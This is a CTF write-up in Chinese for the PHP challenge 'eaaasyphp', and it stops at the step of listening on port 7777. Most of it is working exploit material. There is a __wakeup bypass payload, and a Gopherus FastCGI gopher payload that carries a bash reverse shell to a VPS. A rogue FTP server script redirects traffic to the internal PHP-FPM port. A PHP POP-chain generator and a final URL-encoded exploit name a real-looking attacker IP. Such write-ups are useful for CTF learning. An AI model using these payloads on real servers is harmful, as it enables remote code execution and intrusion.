eaaasyphp
题目给出了源码
读取phpinfo
尝试反序列化读取phpinfo
但是__wakeup()函数先于destruct函数执行,所以需要绕过:__
PHP :: Bug #81151 :: bypass __wakeup
?code=C:4:"Hint":0:{
}
注意这个FPM/FastCGI
打fastcgi
使用Gopherus生成打fastcgi的payload:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_
PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCR
IPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp
/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
同时还要在自己的vps上起一个恶意的ftp服务
扫描二维码关注公众号,回复:
13663190 查看本文章
恶意的ftp服务
ftp服务
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 7008))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
构造pop链
构造pop链触发Bunny类中的file_put_contents
unserialize——>Bypass类的__destruct()函数——>Welcome类的__invoke()函数——>Bunny类的__toString()函数——>调用其file_put_contents()打内网的fpm
(vps自行修改)
<?php
class Check {
public static $str1 = false;
public static $str2 = false;
}
class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}
class Hint {
public function __wakeup(){
$this->hint = "no hint";
}
//这里可以利用得到phpinfo(),前提是绕过__wakeup(),将O换为C即可绕过
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
//当一个对象被当作字符串对待的时候,会触发这个__toString()魔术方法
//比如$b = new Bunny();那么 echo $b; 就会调用__toString这个方法
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
//写入文件 但是题目把写文件的权限给删掉了,所以这个思路不通
//可以配合ftp打内网的fpm
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
//当以调用函数的方式,调用一个对象时,__invoke函数会被自动调用
//比如$a = new Welcome(),那么进行 $a()的时候就会调用__invoke()函数
//而上述用法可以在Bypass中进行利用
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public $aaa;
public function __destruct()
{
if (Check::$str1) {
//另str4为一个Welcome的类对象,调用其__invoke()函数
($this->str4)();
} else {
throw new Error("Error");
}
}
}
$a = new Bypass();
$a->aaa = new Esle();
$a->str4 = new Welcome();
$a->str4->username = new Bunny();
$a->str4->username->filename = "ftp://aaa@vps:7008/123";
echo urlencode(serialize($a));
/*
if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}*/
打内网的fpm这一点类似于[蓝帽杯2021 one point php]:[蓝帽杯 2021]One Pointer PHP_Sk1y的博客-CSDN博客
payload(vps自行修改)
?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A33%3A%22ftp%3A%2F%2Faaa%40116.62.240.148%3A7008%2F123%22%3B%7D%7D%7D&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vps/7777%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
运行ftp.py,在vps的7008端口开启ftp恶意服务
python3 ftp.py
监听vps的7777端口,